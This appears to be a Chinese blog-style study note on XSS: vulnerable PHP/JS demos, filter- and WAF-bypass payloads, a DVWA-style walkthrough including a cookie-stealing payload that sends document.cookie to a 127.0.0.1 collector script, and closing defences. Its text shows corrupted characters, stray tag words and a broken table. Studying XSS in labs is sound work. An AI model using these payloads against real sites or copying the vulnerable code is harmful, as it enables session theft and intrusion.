參考網址javascript
測試代碼php
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重現</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你輸入的字符爲<br>' . $xss; ?> </body> </html>
輸入框輸入的值會被輸出,因此咱們就輸入script標籤,就能夠實現XSS。測試能夠用firefox,chrome有XSS Auditor,之後能夠學一下怎麼繞過。css
固然XSS不都是這麼簡單,須要利用輸出環境來構造代碼。html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用輸出的環境來構造代碼</title> </head> <body> <center> <h6>把咱們輸入的字符串 輸出到input裏的value屬性裏</h6> <form action="" method="get"> <h6>請輸入你想顯現的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value']; if (isset($xss)) { echo '<input type="text" value="' . $xss . '">'; } else { echo '<input type="type" value="輸出">'; } ?> </center> </body> </html>
輸入的字符串輸出到另外一個字符串,對於這段代碼,咱們能夠輸入">
來閉合前面的input標籤,從而執行後面的js。而原來用來閉合的">
會做爲多餘的字符串輸出,看着不美觀。咱們就能夠經過其餘方法執行,好比標籤的屬性。使用on事件進行xss," onmousemove="alert('xss')
。java
總之,XSS就是想盡辦法在頁面上執行js。git
Hacker——發現存在反射XSS的URL——根據輸出點的環境構造XSS——編碼、縮短——發送給受害人——受害人打開,執行XSS——實現功能(獲取cookie、url、瀏覽器信息、IP等)github
能夠經過軟件挖XSS,手工的話就針對對話框、數據包、url參數、js分析等方面。web
存儲型XSS把數據保存到服務端,而反射型只是讓XSS遊走在客戶端上。ajax
此類XSS不須要用戶單擊特定URL就能執行跨站腳本,攻擊者事先將惡意代碼上傳或儲存到漏洞服務器中,只要受害者盧蘭包含此惡意代碼的頁面就會執行惡意代碼。通常出如今網站留言、評論、博客日誌等交互處,惡意腳本存儲到客戶端或服務端的數據庫中。chrome
DOM-Based XSS基於DOM文檔對象模型的,它不須要與服務端進行交互,像反射、存儲都須要服務端的反饋來構造XSS,由於服務端對咱們是不可見的,就像通常都是搶客戶不是搶銀行,固然你要是搶銀行那你是真的。
客戶端js能夠訪問瀏覽器的DOM,所以可以決定用於加載當前頁面的URL,也就是js能夠經過DOM動態地檢查和修改頁面內容,它不依賴於服務器端的數據,而從客戶端得到DOM的數據(如從URL中提取數據)並在本地執行。另外一方面,瀏覽器用戶能夠操縱DOM中的一些對象,例如URL、Location等。用戶在客戶端輸入的數據若是包含了惡意js,未通過過濾的話就會有DOM XSS。
<html> <head> <title>DOM-XSS test</title> </head> <body> <script> var a=document.URL; document.write(a.substring(a.indexOf("a=")+2,a.length)); </script> </body> </html>
這段代碼會截取輸入的URL的a=
後的子串,輸出到頁面上,當咱們輸入js代碼時就會觸發DOM XSS。
修改URL參數的時候,看到的只是GET傳輸的數據,POST表單的數據是在數據包裏。
php獲取IP通常就三個函數:HTTP_CLIENT_IP
、HTTP_X_FORWARDED_FOR
、REMOTE_ADDR
,前兩個都是能夠僞造的,能夠修改數據包。
測試網站www.ip138.com
,它能夠獲取客戶端IP。
在burp裏抓包,添加一行X-Forwarded-For
,後面的字段就是IP地址,隨便輸入一個,再放過,就看到網頁上顯示了僞造的IP。將IP替換爲js,就實現了XSS:
Amazing! 真有意思
「第三方劫持」就是把資源域的服務器的權限拿下,替換相關資源,採用「迂迴式」的滲透方式。
for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){ var a = document.createElement('a'); a.href = tag.src||tag.href||tag.data; if(a.hostname!=location.hostname){ console.warn(location.hostname+' 發現第三方資源['+tag.localName+']:'+a.href); } }
這段代碼能夠獲取非本站的J/C,以後就能夠對目標進行滲透,重寫J/C。
就是把反射和存儲結合起來,把核心代碼寫在網站上,而後以XSS觸發並調用代碼實現攻擊。
<!--Ajax.html--> <html> <head> <title>ajax</title> <meta http-equiv="content-type" content="text/html;chaset=utf-8" /> </head> <boby> <script> var xmlhttp; var request_text; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { request_text = xmlhttp.responseText; var a = request_text.indexOf("fortst") + 6; var b = request_text.indexOf("tstrof"); eval(request_text.substring(a, b)); } } xmlhttp.open("POST", "ajax.txt", "true"); xmlhttp.send(); </script> </boby> </html>
這段代碼會獲取ajax.txt中指定位置的子串,而後以eval的形式運行。
假設網站的留言板存在反射XSS,能夠構造on事件,運行
eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('fortst')+6,document.boby.innerHTML.indexOf('tstrof')));
這樣就能夠執行留言內容中的js,固然能夠用正則匹配。
<html> <head> <title>ajax+正則匹配</title> <meta http-equiv="content-type" content="text/html;chaset=utf-8" /> </head> <boby> <script> var xmlhttp; var request_text; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { request_text = xmlhttp.responseText; var text = request_text.match(/fortst(.*)tstrof/i); eval(text[1]); } } xmlhttp.open("POST", "ajax.txt", "true"); xmlhttp.send(); </script> </boby> </html>
URL只容許使用US-ASCII字符集中可打印的字符(0x20-0x7E),其中某些字符在HTTP協議裏有特殊的意義,因此有些也不能使用。這裏須要注意的,+
加號表明URL編碼的空格,%20
也是。
URL編碼最多見的是在用GET/POST傳輸時,將字符轉爲十六進制。
Unicode有1114112個碼位,也就是說能夠分配這些個字符,編碼的字符已%u
爲前綴,後面是這個字符的十六進制的碼點。有的站點過濾了某些字符串,可是發現這個站點在後端驗證字符的時候,識別unicode編碼,就能夠用unicode繞過過濾機制。
HTML編碼的存在就是讓它在代碼中和顯示中分開,避免錯誤。它的命名實體:構造是&
加上希臘字母,字符編碼:構造是&#
加十進制、十六進制ASCII碼或unicode編碼,並且瀏覽器解析的時候會先把HTML編碼解析而後進行渲染。但有個前提就是必需要在值裏。
不經常使用,就是/
斜槓加上1-6位十六進制,大可能是用於CSS小圖標。
<sCrIpt>alert(1)</script>是忽然 <script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript> <scr<script>ript>alalertert</scr</script>ript> (須要利用waf的不完整性) <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script> 標籤屬性=」javascript:js_code" 只對支持js僞協議的屬性起做用 <標籤 on事件=「js_code"> <script woaini> alert(123) </script woaini> 瀏覽器會把換行或TAB符當成空格,把後面的字符看成屬性來解析
插件渲染到頁面的過程:
用戶打開網站—發送數據包—服務器響應併發送Response包—瀏覽器受到Response包—渲染(先渲染Response包,再渲染插件的代碼)
也就是在插件中寫了一段js,那麼用戶安裝後,凡打開網站,瀏覽器渲染後,就能夠獲取用戶的cookie,若是攻擊者事先有準備,還能夠利用csrf攻擊。
黑客發現插件調取的API網站安全漏洞—重寫了發送的數據包—插件獲取被重寫API數據—解析
一些簡單的繞過方法
SQL: sEleCt vERsIoN(); XSS: <sCrIpt>alert(1)</scRiPt>
空字符、空格、TAB、換行、註釋、特殊的函數,利用網站使用的語言函數特性繞過waf的規則或使用會無視的字符。
對一些字符進行編碼,常見的SQL編碼有unicode、HEX、URL、ascii、base64等,XSS編碼有:HTML、URL、ASCII、JS編碼、base64等。
利用瀏覽器上的進制轉換或語言編碼規則來繞過waf。
若是過濾了某些字符串,能夠在構造:
SQL: selselectect verversionsion(); XSS: <scr<script>ript>alalertert</scr</script>ipt>
利用waf的不完整性,只驗證一次字符串或過濾的字符串並不完整。
webkit下的解析器——詞法分析器,繞過的時候它來完成。
<iframe src="java script:alert(1)" height=0 width=0 /><iframe> <!--這個能夠彈窗--> <iframe src=java script:alert(1); height=0 width=0 /><iframe> <!--這個不能夠彈窗-->
回車、換行只在屬性中引號裏纔會起做用。
www.ip138.com
的xss。前面也說過,能夠利用第三方插件進行攻擊,由於它的權限高,能夠跨域。
輸入的內容會顯示在下面Hello後面,輸入<script>alert(/xss/)</script>
,彈窗成功。
<!--payload--> <script>document.location='http://127.0.0.1/get_cookie.php?cookie='+document.cookie;</script> <?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie) ?>
// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; }
一次過濾能夠大小寫或雙寫繞過。
// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; }
script被全面封殺,能夠用img標籤
<!--payload--> <img src='x' onerror=alert(/xss/) />
// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken();
htmlspecialchars
函數將代碼轉爲HTML編碼格式,是真的nb。
不過當在script、input標籤中時,便可突破。
<!--payload--> ' oninput=alert(/xss/) ' $name = htmlspecialchars( $_GET[ 'name' ] ); $html .= "<input type='text' value=' ${name}'>";
要求輸入name和message,輸入的值會輸出到下面,name有長度限制,在message中直接<script>alert(/xss/)</script>
,sign,成功。能夠用burp改包突破長度限制。
// Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name );
message過濾得很nb,用burp改name就好了。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )
message仍是上面的,name這裏封殺了script,用img
<!--payload--> <img src='x' onerror=alert(/xss/) />
message和name都是過濾,沒辦法。
沒有進行任何過濾,直接?default=<script>alert(/xss/)</script>
就行。
if (stripos ($default, "<script") !== false) { header ("location: ?default=English");
用img標籤,輸入<img src='x' onerror=alert(/xss/)>
獲得
<option value="%3Cimg%20src=1%20onerror=alert%28%27hack%27%29%3E"></option>
發現填入了屬性,那就先閉合option標籤,而後再閉合前面的select標籤,
<!--payload--> "></option></select><img src='x' onerror=alert(/xss/) >
php用的是白名單,網上帶哥說是能夠用#截斷,後面的內容不會被提交到服務器,能夠直接與瀏覽器交互。
<!--payload--> English#<script>alert(/xss/)</script>
XSS漏洞的原由就是沒有對用戶提交的數據進行嚴格的過濾處理,修復XSS漏洞就在於如何更好的將用戶提交的數據進行安全過濾。
在HTML中有些字符像<
,對HTML有特殊意義,要顯示這些字符,必須使用實體字符。
HTML實體的存在是致使XSS漏洞的主要緣由之一。
所以須要將這些實體所有轉換爲相應的實體編號。
顯示 | 實體名稱 |
---|---|
' ' |
|
< |
< |
> |
> |
| &
| &
|
| "
| "
|
| '
| '
|
用戶將數據提交上來的時候進行HTML解碼,將相應的符號轉換爲實體名稱再進行下一步的處理。
在PHP中已經存在這樣子功能的函數,即htmlentities($str)
函數。
與之相反的就是html_entity_decode($str)
函數,它將實體名稱轉換爲相應的符號。
過濾過濾過濾!
document.cookie
語句就不能獲取到cookie。<script>,<iframe>,$lt; for <, $gt; for >,$quot for "
。onclick=, onfocus=
等等。funtions | 功能 |
---|---|
strip_tags(\(str, [容許標籤]) | 從字符串中去除 HTML 和 PHP 標記 | | htmlentities(\)str) | 轉義html實體 |
html_entity_decode(\(str) | 反轉義html實體 | | addcslashes(\)str, ‘字符’) | 給某些字符加上反斜槓 |
stripcslashes(\(str) | 去掉反斜槓 | | addslashes (\)str ) | 單引號、雙引號、反斜線與 NULL加反斜槓 |
stripslashes($str) | 去掉反斜槓 |
htmlspecialchars() | 特殊字符轉換爲HTML實體 |
htmlspecialchars_decode() | 將特殊的 HTML 實體轉換回普通字符 |
作了一下闖關小遊戲,大多數xss的原理仍是比較簡單的。
在這個策略下,web瀏覽器容許第一個頁面的腳本訪問第二個頁面的數據,可是也只有在兩個頁面有相同的源時。源是由URI、主機名、端口號組成的。這個策略能夠阻止一個頁面上的惡意腳本經過頁面的DOM對象得到訪問另外一個頁面上敏感信息的權限。
對於絕對的URIs,源就是{協議、主機、端口}定義的,只有這些值徹底同樣才認爲兩個資源是同源的。
<script src="...">, <img>, <link>, <iframe>
等。瀏覽器從一個域名的網頁請求另外一個域名的資源時,域名、端口、協議任一不一樣,都是跨域。
如何解決跨域問題